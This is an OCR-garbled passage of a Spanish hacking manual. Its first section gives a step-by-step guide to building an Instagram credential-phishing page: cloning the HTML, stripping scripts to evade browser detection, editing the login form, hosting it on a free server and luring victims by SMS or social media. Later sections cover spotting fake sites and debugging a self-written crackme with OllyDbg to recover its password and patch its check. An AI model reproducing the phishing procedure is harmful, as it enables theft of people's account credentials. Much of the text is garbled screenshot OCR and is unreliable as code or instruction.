3 — cceso directo 

~ Imagenes a =I Acceso directo intormacion 
Música 


ae apan en una carpeta 
Es Acer (C) «$ | nueva (que en 
am KINGSTON (Es) 
A P.Web este caso, se 
m3. a AS llamará P_Web), 


Nombre: | Instagram.html 


Organizar ¥ Nueva carpeta 


ell, Grupo en el hogar 





Tipo: Página web (completa) —Á / pa ra poder 
a identificarla y 
~ Ocultar carpetas aye 
= modificarla. 





Inicio Compartir Vista 


>) ~ Th» PWeb> 





WwW Favoritos | Instagram_files Fecha de modificación: 13/01/2018 09:09 a. m. 
Y 
Jo Descargas | 


=| Sitios recientes 





a3 + Instagram.htm! Fecha de modificación: 13/01/2018 09:09 a. m. 
E Escritorio Tamaño: 133 KB 


el, Grupo en el hogar 


¡ME Este equipo 
Je Descargas 
k Desktop 







m 






Archivo Editar Buscar Vista Codificación Lenguaje Configuración Herramientas Macro Ejecutar Plugins Ventana ? X 


LE EE T EL E e 23 1 E EE 


E hange loo 3 H instagram himi E | 









1 DOCTYPE html> A 
< <!— saved from yxj=(9955) bites: //ww, instagrem. com/?hises-ia —> 
3 El<hteml lang="es-la" class="jg not-logged-in client-root"><!--<! [end3f]--><head><meta hrrp-equiv="Content-Type" content="text/html: charset=0TF-8"> 
4 <meta http-equiv="X-UA-Compatible”" content="IE=edge"> 
€ <title>Instagram</titie> 












9 <meta name="robots" content="noimageindex, noarchive”> 
10 <meta name="mobile-web-app-capable" content="yes"> 

ii <meta name="theme-color" content="#000000"> 

12 <meta id="yiewport" name="yiewportf" content="width=device-width, user-scalable=no, initial-scale=1, minimum-scale=1, maximum-scale=i"> 





<link rel="manifest" href="https: //www. instagram.com/data/manifest.ison"> 


<link href="https://graph.instagram.com/" rel="preconnect" crossorigin=""> 











N) pa 


Ne © 4 


<link rel="preload” href="./Instagram_files/14ed40b34f19.4s.descarga” as="script" type="text/jayascrint” crossorigin="anonymous"> 








< 

23 = <script src="./Instagram files/1425767024389221" async=""></script><script async="" src="./Instagram files/fheyents.jis-descarga"></script><script id="f£z 
24 E (function() 1 

25 var docElement = document .documentElement ; 

26 var classRE = new RegExp(' | sjno-38(11315)*):3 

27 var className = docElement.className; 

28 docElement.className = className.replace(classRE, ‘Sijs52"); 

29 nO? 

30 e </script> 

51 H <script type="text/jayascrirt"> 

32 H (function() { 

33 E if ('PerformanceO0bserver' in window && 'PerformancePaintTiming' in window) { 





34 window. bufferedPerformance = []; 
22 mar ah — nens DarfPFrrrarraTrnoarirar fmre ionia) $ 


D 
< 





per Text Markup Language file length; 136,475 lines: 184 Ln:1 Col; 1 Sel:0/0 


Revise e identifique cada uno de los archivos que se han 
descargado sobre la carpeta P_Web. Es aconsejable abrir 

el archivo principal (documento html) con un editor de texto 
como Notepad++, para comenzar con la fase de modificación. 
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<link rel="manifest" href="https: //www.instagram.com/data/manifest.json"> 


<link href="bttps://graph.instagram.com/" rel="preconnest” crossorigin=""> 


<link rel="preload" href="./Instagram_files/14ed40b34f19.js.descarga" as="script" rype="text/javascript" crossorigin="anonymous"> 


<script src="./Instagram files/1425767024389221" async=""></script><script async="" src="./Instagram_files/fheyents .is.descarga"></script><script id="f¢ 
(functian() { 
var docElement = document.documentElement; 


var classRE = new RegExp(' \a)no—js(\\sis) ihe 

var className = docElement.className; 

docElement.className = className.replace(classRE, ‘i5252' 
Oe 
</script> 
(PESANT AN RI 


<link rel="apple-touch-icon-precomposed" sizes="76x76" href="http www 
<link rei="apple-touch-icon-precomposed" sizes="120x120" href="https: 
<link rei="apple-touch-icon-precomposed" sizes="152x152" href="h 

<link rel="apple-touch-icon-precomposed" sizes="167x167" href="http 
<link rel="apple-touch-icon-precomposed" sizes="180x180" href="bttps: 





Hyper Text Markup Language file length : 136,475 lines; 184 Ln:31 Col:8 Sel: 455/11 


Una vez abierto el documento html, debera eliminar cada uno de los scripts del 
sitio que llamen o ejecuten funciones JavaScript, asi como también aquellos que 
se llamen externamente. Para llevar a cabo esta tarea, oprima CTRL + F desde 
Notepad++, y así podrá efectuar una búsqueda rápida. 


Inicio Compartir Vista 


~ PT do» P_Web » Instagram files 


A 





C] Nombre Fecha de modifica.. Tipo Tamaño 
J$ Descargas E 001bc33056c1.jpg 13/01/2018 09:09 a... Imagen JPEG 
E Sitios recientes = 2d9d7248af43j jpg 13/01/2018 09:09 a... i JPEG 
EZ Escritorio Mi) -arga 3/0 ' mE R 
#8 Grupo en el hogar mu 13/ OV /2018 09:09 a... 
/ 3245, (3/01/2018 0998 a. chiv 
¡Mi Este equipo [Y] 53454d5cef0f d ARI AON — Arrhiua DESCARGA ' age : 
“all = cs ea Realice modificaciones 
Th Desktop = aafdBc6b005d jpg lf Edit with Notepad++ al contenido del 
E: Documentos 22 Analizar los elementos seleccionados repositorio principal de 
E Imágenes '9ab33255d Bjs.descarga | Compartir con 
X Música Rs cc1b53c1f5f9.png Y Añadiral archivo... descarga (P_Web), con 
TÈ Vídeos E f52e123ab1e2jpg SB Añadir a “instagram files” el obj etivo de generar 
ÉL Acer (C) _ fbevents) _| $B Añadir y enviar por email... un archivo indetectable 
am KINGSTON (E) L| WéezXm_ YW html Añadir a "Instagram _files.rar" y enviar por email 3 (pues navegadore S 
|_| sdk,js.descarga > 
iu Red Enviara como Chrome son 
Cortar capaces de descubrir 
ue sitios web fraudulentos). 
ARO Para hacerlo, tendrá 


que eliminar también 
los archivos tipo .js 
(JavaScript) ubicados 
dentro de dicha carpeta. 


a D 


Cambiar nombre 





Propiedades 





Existen herramientas en linea para evitar caer en un fraude de este 
tipo. Por ejemplo, Ebay, el sitio de subastas, establecio el grupo 
spoof@ebay.com, para analizar los posibles mensajes fraudulentos 
que son enviados a sus clientes. 
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s="_35suk"></div><div class=" _hxmdu">o</div> A continuación, 


ass= efectúe la modificación 
el>< 


del formulario de 
sesión de usuario, que 
contiene los campos 
de autenticación User 
y Password. Esto 

se logra mediante 


Ji Buscar Reemplazar | Buscar en archivos | Marcar 


Buscar: <form 


aoe i la combinacion de 

as actual 
[C] Coincidir MAYÚSCULAS minúsculas teclas CTRL + F 
[Y] Buscar en todo el ei desde Notepad++, 
Modo de búsqueda Fal Traraparenda donde debe colocar la 
@ Normal @ Al perder el foco etiqueta <form sobre 
extendida (yr, Y, \t, WO, YX...) O Siempre la caja de texto Buscar. 


(Expresión regular se ajusta a línea 





[M Download- AppServ: x Y | 
€ C | â Esseguro | https//www.appserv.org/download 


iti Aplicaciones [Ì Contacto | Proyecto: [PA] Catorce cursos unive BP DIV Arcade Cabinet) fi ACADEMY: Segurids: @@ El primer programa - [E] Cómo calibrar la bat aprende.org [Ì clicseguro.sep.gob.: 


Download FAQ Howto Install Howto Use Version History Hosting 


Download 
azo CE - CA:  : CES » < 


AppServ 8.6.0 Windows version support 
© Windows 7 
e Apache 2.4.25 © Windows 8.1 
E T © Windows 10 


inai aias Can’t run on Windows XP or Windows 
e MySQL 5.7.17 Server 2003 


e phpMyAdmin 4.6.6 ú 
— e This as can meun rar 
e Support TLS,SSL or https version Dy pServ Shortcut -> 
PHP Version Switch you can 
e Can switch the PHP version as you need. switch version between PHP 5.6.x 
& 7.0.x 


Release Date : 2017-01-25 
SHA1SUM : 20ee0d3709d2efb7237240ee4133c443fe29922a 





Suba la página a un hosting gratuito o a un servidor local. Para hacerlo, 
es necesario descargar un servidor local llamado Appserv (o similar), 
ejecutar el instalador y seguir las indicaciones del asistente. 


Copiando 20 elementos de Escritorio a www 


23% completado 

Una vez completado el paso 

lc TOT MNs anterior, diríjase al disco local 

í C:>Appserv>www. En esa ruta 
Nombre: Sin confirmar 704537.crdownload se subirán los archivos o ca rpetas 
Tiempo restante: Calculando... 5 
id ie que contengan los scams (páginas 

falsas); en este caso, la carpeta 
(A) Menos detalles P_Web/instagram.html y los 


archivos adicionales. 
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Welcome back, Gilbert 


Details on your web hosting account are below. 


a ae ae 
Your Domain: _ facefiles.x10host.con 


Connect your FTP client with this information 
Upload files into: public_html 


Server: xo4.x10hosting.com (Port 21) 
Username: facefil4 
Password: Your account password 





Finalmente, suba el scam a un servidor web, por medio de un servicio de hospedaje como 
x10hosting (en este caso, gratuito). Se le solicitara la creacion y la confirmacion de una cuenta. 
Debe crear un dominio (facefil4) y agregar un correo electronico para, finalmente, consultarlo 
desde la ventana Quick FTP, tal como se muestra en la imagen. 


Fz 
Archivo Edición Ver Transferencia Servidor Marcadores Ayuda 
E -— mi ee = = 
Servidor; 24.x10hosting.com Nombre de usuario; facefil4 Contraseña: @eeeee Conexión rápida v 


Estado: Resolviendo la dirección de xo4.x10hosting.com 
Estado: Conectando a 198.91,81.5:21.., 
Estado: Conexión establecida, esperando el mensaje de bienvenida... 


C:\Users\Gil\ 
+A Gil 
+) Public 
-dh Windows 
-d Windows.old 
H-a E: (KINGSTON) 








Nombre de archivo Tamaño d... Tipo de archivo Última modificación Nombre d.. Tamaño d... Tipo de arc... Última modific.. Permisos Propietario... 
di. 
de «android Carpeta de arc... 29/05/2017 11:41:5.., 

de jsse Carpeta de arc... 18/05/2016 01:18:5... No está conectado a ningún servidor 
de oracle jre_usage Carpeta de arc... 04/05/2016 02:17:2.., 

de ssh Carpeta de arc... 13/06/2016 07:49:4.., 

de swt Carpeta de arc... 20/03/2017 07:26:3... 

de VirtualBox Carpeta de arc... 09/01/2018 07:32:5... 

Le AppData Carpeta de arc... 27/09/2016 11:00:5.., 

20 archivos y 39 directorios. Tamaño total: 19,882,860 bytes 








Servidor/Archivo local Direcci... Archivo remoto Tamaño Prioridad Estado 


Archivos en cola | Transferencias fallidas | Transferencias satisfactorias _ 
O) © Cola: vacía 





1 Autentiquese e ingrese al panel de control del servicio de hospedaje, y efectúe 
las configuraciones correspondientes; incluso, puede usar FileZilla Client. 
A los efectos del hacking, puede valerse de la ingeniería social. En este caso, 
dicho scam se posiciona dentro de un mensaje (SMS) o publicación 
en cualquier red social o correo de la víctima. 


Ahora bien, tanto para Mail Spoofing como para Social Network 
Spoofing, hay que utilizar materiales alternos como plantillas, y 
concebir, de cierto modo, algunas variantes para la obtención de 
datos. Sin embargo, se debe tener presente que, en este caso, no 
importa el tipo de spoofing, pues el objetivo a cumplir es el mismo. 
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Como protegernos 

Las al rds este punto son las mismas del proyecto anterior, aunque 
podemos comentar algo mas. La intención de este Paso a paso es ilustrar la manera 
en que los hackers se valen de su conocimiento sobre programación, diseño web, 
servidores, etcétera, para engañar a su víctima. Por lo tanto, es responsabilidad 

del usuario la manera de utilizar esta guía ¡ilustrativa de diseño de scam. 


Medidas de seguridad para prevenir ser victimas de scam 


El truco consiste en ser muy observadores a la hora de abrir un portal o navegar por la 
Web, pues cada ataque dependerá del recurso al que se desea ingresar o utilizar; es 
decir: correo electrónico, redes sociales, portales bancarios o financieros, etcétera. 


Correo de Outlook 


sat 


p 


© Resultados de la búsqueda 
En carpetas 


contribuyente @sat com 


“semoosaicontribuyen cat e 
miado: miércoles, 25 de octubre de > ente @sat_com> 
0 


017 065 


MÉXICO 


GOBIERNO DE LA REPÚBLICA 


GONZALEZ,GILBERTO 
GO0RG821205822 


Opciones 


Pa A B 


A — om 
Descartar 8 M © by > 


A 


Hasta 


. F1G2_2jp9 A me) CAP2FIG2jp9 
me) CAP2_FIG3.p9 = CAP2_FIG2_2jp9 





El mensaje de correo electrónico que promete promociones, 
condonaciones, descuentos u ofertas (y que es falso) resulta 
fácil de identificar mediante el análisis de su cabecera. 
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+ 


C © wdecrewardomiral com i 
Oange fF deg te Sete i. etsa 


GraGiED 


Usted ha sido seleccionado para participar en nuestra encuesta anonima. 


ee OG 


dl dera wetted Veras tere Tocar - Eran... Prot arg G ooir Peedo. C 


Felicidades! 


7 de Agosto 2011 


Este cuestionario sólo tomará 30 segundos de tu tiempo, y como un premio por tu 


participación, te vamos a dar acceso a los siguientes premios exclusivos: Macbook Air”, 


Apple iPhone 4", o iPad 2”. 


= — s 
/ i Liverpool es parte de Mi x A i 


o 


Conexión segura 


Comenzar + 


C | â https//www.liverpool.com.mx/tienda/home.sp 


Tu información (por ejemplo, las contraseñas o los números de las 
tarjetas de crédito) es privada cuando se envía a este sitio web. Más 


información 


$ cookies 
23 en uso 


O Ubicación 

Ek Cámara 

& Micrófono 

Å Notificaciones 

<> JavaScript 

+ Flash 

PA Imagenes 

[A Ventanas emergentes 

© Sincronización en segundo plano 
# Descargas automáticas 

MI Control total de dispositivos MIDI 


Configuración de sitios web 


Permitir v 

Preguntar (predeterminado) + 
Preguntar (predeterminado) v 
Preguntar (predeterminado) v 
Permitir (predeterminado) v 
Detectar (predeterminado) + 
Permitir (predeterminado) + 
Bloquear (predeterminado) v 
Permitir (predeterminado) v 
Preguntar (predeterminado) + 


Preguntar (predeterminado) w 





Las invitaciones para 
reclamar premios y 
participar en sorteos, por 
lo general, son falsas. 
Note en este caso que las 
páginas (y dominios) no 
corresponden al remitente 
original. 


€ C | © wwwliverpool.com.mx/tiendas/homesp 





Tu conexión con este sitio web no es segura 


No deberias introducir información confidencial en este sitio web (por 
ejemplo, contraseñas o tarjetas de crédito) porque los atacantes podrian 


robarla. Más informacion 


® cookies 
2en uso 


@ Ubicación 





Ek Cámara 

& Micrófono 
Å Notificaciones 
<> JavaScript 
NY Flash 

PA Imagenes 


[A Ventanas emergentes 


Preguntar (predeterminado) v 
Preguntar (predeterminado) v 
Preguntar (predeterminado) w 
Preguntar (predeterminado) + 
Permitir (predeterminado) v 
Detectar (predeterminado) v 
Permitir (predeterminado) + 


Bloquear (predeterminado) v 





Las páginas falsas, cuya intención es 
extraer datos para el robo de información, 
pueden compararse teniendo en cuenta 
factores como certificados SSL y protocolo 





seguro (HTTPS). 


VJseumonser COM 


Ver sitio web Cheques recientes Sitios de Sobre Sello de 


de 


Mig Grado de confianza. Este sitio parece seguro de usar 


Preguntas Los foros 


palmresearch.com 


Uno de tantos recursos 
web para verificar si 
una pagina que quiere 
consultar es scam es 
el siguiente: www. 


Comentarios 


ae Última actualización 12 de junio de 2017, 10:01 am scamadviser.com/ 
Numero de ino visto: 480 check -website/ 
Est Valor del sitio web: 3466.63 
nit palmresearch.com. 


Para usarlo, coloque el 
nombre de la pagina web 
sobre el cuadro de texto 
principal. 


¿Quieres ver lo que otros dicen 
sobre esto o agregar tu propia 
revisión? Haz clic a continuación. 
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Pruebas de ingenieria Inversa 





y la generacion de parches. 




















Cracking 
Practica que consiste en 
romper la seguridad de un 
sistema. Esta tarea puede 
ser llevada a cabo por 
lamers o por crackers. 





Ingeniería inversa 

La ales inversa (reversing) se define 
como un proceso que consiste en extraer 

o abducir la lógica de diseño de cualquier 
sistema, dispositivo o software, con el fin de 
conocer su estructura, función y operación. 
Hoy en día, son muchas las aplicaciones 

de la ingeniería inversa, las cuales, en 
ocasiones, suponen ventajas para el usuario 
o desarrollador. 
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Crackme 
Se trata de un ejercicio 
para poner a prueba las 
habilidades de crack. 

Por lo general, son 
aplicaciones de software 
que le permiten al usuario 
practicar cracking. 


El proyecto que se propone en esta ocasión se centra en el diseño de un crackme. Esto nos 
permitirá introducirnos en el gran campo de la ingeniería inversa, el cracking de aplicaciones 


Depurador 
Herramienta de software 
destinada a visualizar 

el código con el que fue 
desarrollada una aplicación. 
Esto se realiza con fines 

de mejora, detección y 
corrección de fallos e, 
incluso, para inyección de 
código malicioso. 













Requerimientos para cracking 
Uno de los elementos críticos para realizar 
cracking es, sin dudas, un depurador o debugger. 
Se trata de una herramienta encargada de 
mostrar el código fuente abstracto de un 
programa ejecutable (por ejemplo, un archivo 
.exe). OllyDbg es el más usado, pues mediante 
sentencias de código, muestra la información 
requerida para generar una copia depurada del 
programa ejecutable (parche). Otro elemento 
indispensable es un ejecutable o aplicación, que 
será intervenido mediante el depurador con fines 
de exploración de código fuente. 





La GUI de OllyDbg 


La interfaz grafica de la herramienta OllyDbg cuenta por lo 
general con cuatro areas, las cuales deben ser analizadas por 
el desarrollador, analista o cracker. En la siguiente infografia, 


se puede apreciar la interfaz de OllyDbg, en la que se senalan 
las distintas areas que la componen: 


Area de desensamblado 

En esta parte se observara el codigo del crackme 
a bajo nivel. Habra cuatro columnas: direccion 

de memoria (la cual puede llegar a variar por 
equipo), código de operaciones (es lo que 

lee y entiende el equipo), columna de código 
assembler y, finalmente, comentarios. 


TON ÚMNO 
FP tait. 


HER Ese. 77 
4 > 


3 


A5563 


7 


EEI 


gf sh 
3888 


| Supert lucus prefix 
Modif ication of Sement register 


a8 


es 


aT 
ree 


Y 
BBE 


0241 C188 ORDOFDC 
SSS| Gosaea or 
ri oe L- 


WIUFT/FB/FS to pass excepi 


ee 


Área de volcado (DUMP) 

Se encarga de mostrar el contenido de la 
dirección de memoria. Se compone de tres 
columnas: dirección de memoria, valor 
hexadecimal y código ASCII. 


Área de registros 
Contiene los registros 


que maneja la CPU: EAX, 
EBX, ECX, EDX, etc. 


a te ERRORES REY JOT_F OO SES EN 





Área de pila (STACK) 
Aloja los valores 
temporalmente para 
recuperarlos en los 
registros. 
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Configurar OllyDbg 


Con la finalidad de apreciar mejor el contenido 
desde la interfaz del presente depurador (de por 
sí, bastante abstracta), se recomienda realizar 
una configuración inicial, que consiste en activar 
una serie de interesantes opciones para resaltar 
el contenido. Esta es también una práctica auxiliar 
para efectuar una búsqueda más dinámica de 


General | Defaults | Dialogs Directories | Fonts | Colours | Code highlighting | 


UDD path: 
[C:\Users\LI 01-00\Desktop\crack\Udd Browse | 


V Backup old .udd files 
Plugin path: 


[C:\Users\LI 01-00\Desktop\crack\Plugins Browse | 


Security | Debug | Events | Exceptions | Trace | SFX | Strings | Addresses | 
Commands | Disasm CPU | Registers | Stack | Analysis 1 | Analysis 2 | Analysis 3 | 


F Synchronize source with CPU 

V Underline fixups 

V Show direction of jumps 

WV Show jump path 
V Show grayed path if jump is not taken 
V Show jumps to selected command 

[ Center 'Follow'-ed command 


Number of visible lines after stepped command [Default v | 


Letter key in Disassembler starts: 
C New label 
@ Assembler 
C New comment 
C Object of last selected type 


A 


Fecha de modifica... Tipo 


06/04/2018 12:32... Carpeta 
23/12/2001 0234... Aplicaci 


23/12/2001 02:34...  Aplicacic 


Nombre 

Le odbg110 
TI CRACK 
¡TT CRACKME 








«| am | r 
Nombre:  [CRACKME 
Tipo: [Executable file (exe) 7 Cancelar | 
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los registros-banderas, posiciones de memoria 

y binarios a la hora de analizar un ejecutable. En 
el siguiente Paso a paso, se describe el modo de 
hacerlo. Luego de descargar la herramienta (la 
cual se lee como: OLLYDBG.EXE), sera necesario 
ejecutarla con permisos de administrador. 


Debe comenzar configurando la ubicacion 
de plugins y el repositorio de UDD; estos 
son los backups o respaldos de cada 
ejecutable. Cada cambio que se realice 
sobre ellos generará un backup con 
extensión .udd. Para esta tarea, ingrese en 
el menú Options y seleccione Appearance; 
allí podrá comenzar a configurar las rutas 
(pestaña Directories). Una vez hecho esto, 
presione OK y proceda a reiniciar 

la aplicación para aplicar los cambios. 


2 Vaya nuevamente al menú Options y elija 

Debugging options. Se abrirá otra ventana 
en la que debe seleccionar CPU y habilitar 
las casillas que se muestran en la imagen 
siguiente. Luego presione OK. Estos 
cambios tienen como fin simplificar 
el trabajo a la hora de analizar el ejecutable, 
ya que mostrará con una pequeña flecha 
hacia dónde se dirige el flujo de saltos 
condicionales. 


3 Con el fin de verificar el efecto de los 
cambios antes realizados a la herramienta, 
proceda a abrir un ejercicio de prueba 
(en este caso puede ser cualquier 
aplicacion con extension .exe, por ejemplo: 
CRACKME.EXE. Esto se consigue desde 
File/Open/archivo.exe. 


604 oc p TD = no 

66401087 OU DW q] ERX es kernel32.BaseThreadInitThunk 
00491990 8 1703 % 00401000 CRACKNE. <“ 
00401011 OU Dbl % PEFDEODO 
TE B8GGa0A t @018FFec 


6A GA 
6A 98 PUSH 00000009 


Assemble ME 00000090 
Cod 00401000 CRACKNE. <Modu leEntryPoint > 


Label ð ES 002B 32bit O(FFFFFFFF) 
S 0023 32bit O(FFFFFFFF) 

Comment A 32bit @( FFFFFFFF) 
2B 32bit O(FFFFFFFF) 


z 5 5 32bit 7EFDD@@G(FFF) 
Breakpoint S 0028 32bit ØCFFFFFFFF) 
Hit trace LastErr ERROR_SXS_KEV_NOT_FOUND (00003687) 
R 00000246 (NO, NB, E, BE, NS, PE; GE, LE) 
un trace empty 
empty 


2 empty 

Go to enpt y 
+ enpty 

Follow in Dump 41 empty 
empty 

EMPTY 


0009 
) Be27F 


(Modu leEntryPoint 5 


33383 


3 
1 Le 
5500005000 


20000000 


View call tree 


8945 FC 
68 907F 000 
6A Ba 


E 


rrr 
AON 
DO 


ES 50020000 


S94 EC Search for 
8045 DØ 


TRETE 


50 Find references to 
Es S5CO200008 
6A 00 


ore 


View 


00 H Copy to executable 
64 PUSH 


i 2c (300, ) 
aii (2i 47483698.) 


Appearance Always on top 


DO1SFFD4 
Show bar i BFF98|1 774998821 RETURN to ntdll.77499882 
: 7EFDEGDD 
Show horizontal scroll 77808953 
Fene | gonooooa 
Default columns k; EFDEODO 
: eougeeaa 
Font (this) E OBBLOBOS 
| 
Colors (this) Ear] EA 
) , nd of chain 
Font (all) CS|] 77403145] SE handler 


Colors (all) OLER : 
Highlighting Y No highlighting lata ra UNA 
Christmas tree | 








89403098] 7 
004030A0| 72 


should t 
ry again 


HODNO 
Sea noon 











Para resaltar las llamadas (a procedimientos o APIs de Windows) y saltos condicionales 
del ejecutable (JMP y CALL, respectivamente), es necesario configurar la manera en la que 
se presenta la información (apariencia). Haga clic derecho sobre la sección Disassembler 
y siga la ruta: Appearance/Highlighting/Jumps ‘n’ calls. 


Note que el área 


J OllyDbg - CRACKME.EXE - [CPU - main thread, module CRACKME] 


File View Debug Options Window Help <= ~ ——— de desensamblado 
<| > [+] $343) y] + 1]£]m]1/w]H]c]7JK] s] ja? (conformada básicamente 
a ARS pone. a por tres columnas: Offset 


o dirección de memoria, 

Códigos de operación y 
Código en ensamblador) 

Style = MB_OK | MB_APPLMODAL i : . 

Tet ondas i imc: MN ha cambiado de apariencia, 

HessageBonA pues se han resaltado 

wParam algunas lineas de codigo en 


Message 


Defi indouProoñ color verde, amarillo o rojo. 


[ning = MUE a 


USERS2. CreatellindowExA 
ntdLlL.Ntdl LDeflWindowProc_A 

eel spaccrcenseeer 
USER3S2.GetMessageA 
USER32. GetlindouTextA 

oadCursorA 
USERS2.LoadIconA 
USER32.MessageBoxA 
USER32. Postúu ¡tMessa e 
USERS2.RegisterClassExA 
USER32. 


USERS: Seti indowTentA Resulta importante saber 
USER3S2. Showll indow 


ae que, tras haber efectuado 
idi Kerne|32.GetConmandL ine ~ una configuracion sobre la 
interfaz de OllyDbg, sera 
mas sencillo identificar 
ciertos elementos durante 
la depuracion de alguna 


aplicacion. 
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Diseno de un crackme en C 


Muchos compiladores de lenguaje C suelen 


Lenguaje C 


generar dos archivos de gran relevancia: .cpp y Es un lenguaje de programación 

.exe. Este último es el que mantiene ocultas las originalmente desarrollado por Dennis 
líneas de su programación y que, a la vez, actúa Ritchie en los Laboratorios Bell. Es muy 
como aplicación. Los archivos ejecutables con versátil, y en él están desarrollados 
extensión .exe difícilmente dejan ver el código muchos sistemas operativos, 

fuente, a menos que sea inspeccionado mediante concretamente, UNIX. 





alguna herramienta como OllyDbg (usada para 
efectos de ingeniería inversa). 

En el siguiente Paso a paso, se ilustra el 
procedimiento para la creación de un crackme en 
lenguaje C, para lo que será necesario el uso del 
IDE: DEV-C+ +. 


fia] Dev-C++ 5.2.0.1 fi] Guardar Archivo 


Guardaren: |. Crackmes + O $ oe fv 


Nombre > Fecha de modifica... 





oe BOEN Ve Peopecto tee Dee leer: ENE Ve 
Abrir Proyecto o Archivo Ctri+O 9 ee: 
d lran Archivo de Recurso 


4 
y Ningún elemento coincide con el criterio de búsqueda. 
Sitios recientes 


Escritorio 
= 
Bibliotecas 
A 


Equipo 


> 
te 
Wc 
A c 
= 
a 


Importar 


[© Exportar 
ES 


Configurar Impresión 


YH Salir 








Guarde el archivo en su disco duro (por 
ejemplo, en el Escritorio en una carpeta 
llamada Crackmes). Utilice el nombre: 


1 Inicie abriendo DEV-C+ + y proceda a crear PRUEBA_CM. 
un nuevo archivo fuente, desde Archivo/ 
Nuevo/Archivo Fuente. 





Importante 


El programa a desarrollar, debe validar un 
nombre de usuario (username) y una contraseña 
(password) correctas. En caso de serlas, arrojará 
el siguiente mensaje: Bienvenido al sistema; de 


lo contrario, el mensaje dirá: Logueo incorrecto, 
intente de nuevo. De manera opcional, dicho 
password puede ocultarse debajo de una 
cadena de asteriscos o puntos. El crackme debe 
guardarse como PRUEBA_CM. 
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IDE (Integrated 
Development Environment ) 


Se trata de un entorno de desarrollo integrado que nos permite 
realizar la codificación y la posterior compilación de un proceso. 
Uno de los IDE más utilizados es DevC++, adecuado para 
programar en lenguaje C/C++. 


fia] Dev-C++ 5.2.0.1 — i - 
Archivo Edición Buscar Ver Proyecto Ejecutar Depurar Herramientas CVS Ventana Ayuda 


(Damga) +e RRA E| al)n) ¿dx an 





| ígtobaza) A —— | 


Proyecto | Clases(Fun ‘| > || PRUEBA_CM.cpp | 





5 
6 int main(void) 


const char USUARIC[] ="users"; 
const char PASS[] ="Pa$$wOrd"; 
const int numintentos =3; 
int i; 
char usuario[50]; 
char contrasena[50]; 
for (i=0; i<numIntentos; i++) 
{ 
printf(" Teclea usuario: "); 
scanf("%s", usuario); 


printf ("Teclea el password: "); 

scanf("%s", contrasena) ; 

if (strcmp(PASS, contrasena) != 0) 

{ 

printf("\t Logueo incorrecto, intente de nuevo\n"); 
continue; 

) 

printí("in*** Bienvenido al sistema ***\n") ; 

break; 


if (i == numintentos) 

{ 

printf("\nPrograma no ejecutado.\n"); 
return 1; 

} 

printf("\nPrograma ejecutando...\n") ; 
getch():; 

return 0; 








oa 
Go Lo p Crackmes + + | Buscor Crackmes 


Organizar v o0 Abrir Compartir con + Grabar Nueva carpeta 


Y Favoritos Nombre Fecha de modifica... Tipo Tamaño 


Jp Descargas c+] PRUEBA_CM 24/04/2018 01:06... C++ Source 1KB| 
HE Escritorio [E7] PRUEBALCM _ 24/04/2018 01:06 ... Aplicación 49 KB) 
E Sitios recientes 





ZJ Bibliotecas 
E Documentos 
ll] Imágenes 
a Música 
H Videos 


¡E Equipo 
5 Disco local (C:) 
a KINGSTON (E:) 


Cu Red 





Comience a capturar 
el codigo fuente 

que se muestra en 

la siguiente imagen. 
Verifique cada 

linea (sobre todo, 

la declaracion del 
nombre de usuario y 
su password, el cual 
se encuentra definido 
por el programador). 
Guarde los cambios, 
compile, ejecute 

y efectue las 
pruebas de logueo 
correspondientes. 
Finalmente, cierre 
DEV-C++. 





Note que los archivos 
generados (sobre el 
repositorio donde ha 
decidido guardar su 
crackme) son dos: 
PRUEBA_CM.cpp y 
PRUEBA_CM.exe. 
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Bienvenido al sistema *** 


Programa ejecutando... 


Haga dos clics sobre el archivo ejecutable. Pruébelo y 
proceda a almacenarlo en algún dispositivo USB o súbalo 
a la Web para plantear el desafío de cracking. 


Ak OllyDbg - PRUEBA_CM.exe - [CPU - main thread, module PRUEBA_C] 
C| File View Debug Options Window Help 
a eje 36] + EMT] 


ASCII "__deregister_frame_info” 


GetProcAddress 





A continuación, debe 
obtener estas credenciales 
mediante el uso de un 
depurador, las cuales 

se verán mediante la 
inspección del código 
fuente. En este caso, no 
será necesario generar un 
parche. En la imagen del 
paso anterior se puede 
apreciar esa información. 





< 368 kernels ‘2. Bas eThreadin it Thunk 
Cx pa000000 

x @6@46126C PRUEBA_C. 
A 7EFDESBE 


BB2SFF94 
gogogaga 


<Modu leEntryPoint> 


PRUEBA_C. 00401260 
@( FFFFFFFF) 


7EFDDOGG( FFF) 
Zbit OUFFFFFFFF) 


LastErr ERROR_SUCCESS (00000000) 
00000246 (NO, NB, E, BE, NS, PE, GE, LE) 


TO empty 0.0 
empty 4,8 
ST2 empty ð. 
3 empty 
empty 
empty 8.8 
> empty 8.é 
oly empty Y, 


OOANMDD 
` D 


3210 ES PUO DA 
9066 Condo 0o Errgb000000 1 
9027F Prec NEAR,53 Mask KiE 252 2 


EFL 
STO 
STi 
ST2 
ST3 
ST4 
STS 
STÉ 
ST7 
FST 
FCW 


Bice he ” Teclea usuario: ” 
printf 
nazi vas” 


ASCII "Teclea el password: ” 


printf 


ASCII "%s” 
scanf 


0040143 39 


Para llevar a cabo algún tipo de prueba 
relacionada con la ingeniería inversa, se deben 
considerar dos aspectos: el objetivo del crack y 
las herramientas a utilizar. 


El objetivo de la presente práctica, en un principio, 


es efectuar un salto de registro para obtener 
como resultado un mensaje de acceso correcto, 
que después permita validar cualquier clave de 
acceso. Finalmente, deberá generarse un parche 
que refleje los cambios realizados. 

En cuanto a las herramientas, es necesario 
disponer de OllyDbg y del crackme en cuestión 
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Develado de la 
contrasena del archivo 
PRUEBA_CM.exe desde 
OllyDbg. 





(para llevar a cabo esta actividad, debe trabajar 
con el archivo ejecutable: CRACKME.EXE, al 
que hace referencia el Paso a paso anterior). 
Ambos recursos tienen que estar almacenados 
en alguna ubicacion del equipo donde se 
realiza la practica. De igual modo, es preciso 
considerar la ruta de almacenamiento de 
archivos udd y pluggins. 

Antes de dar comienzo al siguiente Paso a paso, 
se recomienda realizar una copia y resguardo del 
archivo CRACKME.EXE, que resultará útil como 
respaldo en el futuro. 


Desensamblar un crackme.exe. Primera parte 


» Equipo » Disco local (C:) » Usuarios » Reversing » Documents p Reversing » 


























Abrir Compartircon v Grabar Nueva a carpeta 





z 


YY Favoritos Nombre Fecha de modifica... Tipo Tamaño 


JB Descargas d odbg110 19/03/2017 05:17 ... Carpeta de archivos | n Icle proba ndo el 
BZ Escritorio 7 CRACKME - COPIA 23/12/2001 02:34 ... Aplicación i funcionamiento del 


H Sitios recientes ™ CRACKME 23/12/2001 02:34 .... Aplicación crackme, para lo cual 
